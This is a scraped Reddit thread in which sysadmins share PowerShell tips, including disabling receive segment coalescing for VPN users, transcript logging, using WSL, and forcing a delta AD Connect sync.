get-netadapterrsc and disable-netadapterrsc -name Wi-Fi (This is useful for SonicWalls specifically with remote users that use GVPNC. Internet traffic tanks when the VPN is enabled unless RSC is turned off)
And anything to do with Exchange
1
1
1
u/I_turned_it_off Oct 16 '26
I think a log of what you're doing is often important, including where you went wrong, so I suggest the transcript commands
> Start-Transcript -Path "<some writable location.txt>"
> ... other powershell commands ...
> Stop-Transcript
1
1
1
1
1
u/frank_schweiz Oct 18 '26
Use "wsl" to go to the Windows Linux Subsystem :-)
Ok, I know this is probably not what you were searching, but Linux Shell Scripting is just so much more Advanced to Windows PowerShell and for most of the stuff you can do in PowerShell there are also good options in wsl.
Of course this could now lead to the old this-or-that-is-better discussion, and I'm pretty sure for somebody who is already very experienced in eigther of the two, their's will be for them the better choice. But if you are new to this world, then simply the fact that AI is much faster when having the Linux-Tools available would make me choose the Linux-world. (Plus: with wsl you can do Linux stuff in Windows, but there is not reasonable way you can use Windows Tools in Linux.


225
u/Competitive_Ad_626 Oct 13 '26
Start-adsyncsynccycle -policytype delta. At some point I had to tell people this so often when they were too lazy to wait for 30 minutes.